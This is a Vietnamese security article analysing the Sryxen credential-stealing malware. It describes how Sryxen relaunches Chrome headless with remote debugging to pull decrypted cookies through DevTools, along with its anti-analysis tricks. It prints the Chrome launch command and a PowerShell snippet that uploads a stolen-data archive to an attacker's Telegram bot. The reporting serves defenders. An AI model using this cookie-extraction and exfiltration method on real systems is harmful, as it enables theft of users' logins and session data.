Mã độc Sryxen: Nguy hiểm rò rỉ thông tin qua Chrome DevTools

Một thông tin rò rỉ mới có tên mã độc Sryxen đã xuất hiện trên thị trường mã độc ngầm, nhắm mục tiêu vào các hệ thống Windows. Mã độc Sryxen sử dụng các kỹ thuật tiên tiến để thu thập thông tin đăng nhập trình duyệt và dữ liệu nhạy cảm. Được bán dưới dạng Malware-as-a-Service (MaaS), mã độc Sryxen thể hiện khả năng thích ứng cao của các stealer hiện đại nhằm vượt qua các cải tiến bảo mật trình duyệt, đặc biệt là tính năng App-Bound Encryption mới được triển khai trong Google Chrome.
Tổng quan về Mã độc Sryxen và Mối đe dọa mạng mới
Mã độc Sryxen được thiết kế như một công cụ thu thập thông tin đăng nhập theo phương thức “đánh nhanh rút gọn” (smash-and-grab credential harvester). Đặc điểm này có nghĩa là nó ưu tiên thực thi nhanh chóng và hiệu quả, thường không tìm cách thiết lập sự bền bỉ trên các máy bị nhiễm. Việc thiếu cơ chế bền bỉ giúp mã độc Sryxen tránh được một số phương pháp phát hiện truyền thống, vốn thường tập trung vào các điểm bền bỉ của phần mềm độc hại.
Đối tượng chính mà mã độc Sryxen nhắm đến là trình duyệt Chrome phiên bản 127 trở lên. Kể từ phiên bản này, Google đã giới thiệu App-Bound Encryption, một tính năng bảo mật quan trọng được thiết kế để bảo vệ cookie và các dữ liệu trình duyệt nhạy cảm khác bằng cách liên kết chúng với ứng dụng Chrome cụ thể, khiến việc truy cập từ bên ngoài trở nên khó khăn hơn.
Kỹ thuật độc đáo của Sryxen để thu thập thông tin
Thay vì cố gắng phá vỡ trực tiếp cơ chế mã hóa phức tạp của App-Bound Encryption, mã độc Sryxen đã triển khai một cách tiếp cận cực kỳ sáng tạo. Nó khai thác chính các tính năng hợp pháp của trình duyệt Chrome. Cụ thể, mã độc Sryxen khởi chạy Chrome ở chế độ không đầu (headless mode) và sau đó sử dụng DevTools Protocol của trình duyệt để yêu cầu dữ liệu cookie đã được giải mã, từ đó bỏ qua hoàn toàn biện pháp bảo mật của Google.
Giải mã kỹ thuật Bypass App-Bound Encryption của Sryxen
Khi mã độc Sryxen phát hiện một phiên bản Chrome phù hợp (127 hoặc cao hơn), nó sẽ bỏ qua các phương pháp trích xuất cơ sở dữ liệu truyền thống, vốn không còn hiệu quả với App-Bound Encryption. Thay vào đó, mã độc Sryxen thực hiện một chuỗi hành động được tính toán trước. Nó chấm dứt mọi tiến trình Chrome đang hoạt động trên hệ thống. Sau đó, nó khởi chạy lại trình duyệt Chrome với một bộ đối số dòng lệnh đặc biệt.
Chi tiết về quy trình khai thác Chrome DevTools Protocol
Các đối số dòng lệnh quan trọng mà mã độc Sryxen sử dụng bao gồm --headless, --remote-debugging-port và --user-data-dir. Cờ --headless đảm bảo rằng Chrome chạy mà không có giao diện người dùng hiển thị, giữ cho hoạt động này hoàn toàn ẩn danh. Cờ --remote-debugging-port kích hoạt khả năng gỡ lỗi từ xa trên một cổng cụ thể, trong khi --user-data-dir chỉ định thư mục dữ liệu người dùng mà Chrome sẽ sử dụng.
Ví dụ về lệnh CLI mà mã độc Sryxen có thể sử dụng để khởi chạy Chrome:
chrome.exe --headless --remote-debugging-port=9222 --user-data-dir="C:UsersPublicChromeData"
Sau khi Chrome được khởi chạy trong cấu hình này, mã độc Sryxen thiết lập kết nối với cổng gỡ lỗi đã mở qua giao thức WebSocket. DevTools Protocol, vốn được thiết kế để nhà phát triển kiểm tra và gỡ lỗi các ứng dụng web, nay bị lạm dụng. mã độc Sryxen gửi một lệnh DevTools Protocol cụ thể, yêu cầu tất cả cookie thông qua phương thức Network.getAllCookies.
Điểm mấu chốt là Chrome xử lý yêu cầu này từ bên trong. Trình duyệt tự giải mã cookie bằng khóa App-Bound Encryption riêng của nó và trả về dữ liệu cookie dưới dạng văn bản rõ (plaintext) cho mã độc Sryxen. Dữ liệu đã giải mã này không bao giờ được ghi ra đĩa, điều này khiến các công cụ giám sát tệp truyền thống trở nên vô hiệu trong việc phát hiện hành vi trích xuất cookie này.
Cơ chế chống phân tích và né tránh phát hiện của Sryxen
Các nhà nghiên cứu bảo mật tại DeceptIQ đã thực hiện phân tích chuyên sâu và xác định rằng mã độc Sryxen được trang bị nhiều lớp bảo vệ phức tạp để tránh bị phát hiện và phân tích. Điều này làm tăng thêm rủi ro bảo mật mà nó gây ra, đòi hỏi các phương pháp phát hiện nâng cao.
Một trong những kỹ thuật phòng thủ chính là mã hóa mã dựa trên Xử lý ngoại lệ Vectored (Vectored Exception Handling – VEH). Payload chính của mã độc Sryxen được giữ mã hóa khi không hoạt động (at rest). Mã chỉ được giải mã và thực thi trong quá trình runtime thông qua các cơ chế xử lý ngoại lệ. Phương pháp này khiến việc phân tích tĩnh (static analysis) trở nên cực kỳ khó khăn, vì mã độc hại xuất hiện dưới dạng dữ liệu vô nghĩa hoặc rác khi được kiểm tra mà không thực sự chạy.
Ngoài ra, mã độc Sryxen còn triển khai sáu kiểm tra chống gỡ lỗi (anti-debug checks) riêng biệt. Các kiểm tra này bao gồm việc kiểm tra cờ NtGlobalFlag và phân tích Process Environment Block (PEB). Nếu bất kỳ công cụ gỡ lỗi nào được phát hiện đang hoạt động trên hệ thống, mã độc Sryxen sẽ chấm dứt thực thi ngay lập tức để tránh bị phân tích sâu hơn. Chi tiết hơn về các kỹ thuật phức tạp này có thể được tham khảo trong báo cáo phân tích kỹ thuật của DeceptIQ: Phân tích kỹ thuật các Stealer trên Windows.
Quy trình hậu thu thập và thoát dữ liệu của mã độc Sryxen
Sau khi thu thập thành công các cookie đã giải mã, mã độc Sryxen chấm dứt tiến trình Chrome để che giấu dấu vết. Sau đó, nó chuyển sang giai đoạn thu thập dữ liệu thứ cấp, bao gồm các thông tin trình duyệt khác, mật khẩu lưu trữ và dữ liệu từ các ví tiền điện tử trên hệ thống bị nhiễm. Toàn bộ dữ liệu thu thập được sau đó sẽ được nén vào một kho lưu trữ duy nhất.
Cuối cùng, dữ liệu nén này được tải lên một bot Telegram được kiểm soát bởi những kẻ tấn công. Quá trình thoát dữ liệu này thường được thực hiện thông qua các lệnh curl được thực thi bằng PowerShell, một công cụ linh hoạt có sẵn trên hầu hết các hệ thống Windows. Kỹ thuật này cho thấy sự tinh vi và khả năng sử dụng các công cụ hệ thống hợp pháp của mã độc Sryxen để thực hiện các hành vi độc hại.
Ví dụ minh họa cho lệnh PowerShell có thể được sử dụng để tải lên dữ liệu:
$archivePath = "C:Tempcollected_data.zip"
$telegramBotApi = "https://api.telegram.org/bot<BOT_TOKEN>/sendDocument"
$chatId = "<CHAT_ID>"
# Giả định dữ liệu đã được nén vào $archivePath
Try {
Invoke-WebRequest -Uri $telegramBotApi -Method Post -Form @{
chat_id = $chatId;
document = (Get-Item $archivePath);
} -ErrorAction Stop
Write-Host "Dữ liệu đã được tải lên thành công."
}
Catch {
Write-Host "Lỗi khi tải dữ liệu lên Telegram: $($_.Exception.Message)" -ForegroundColor Red
}









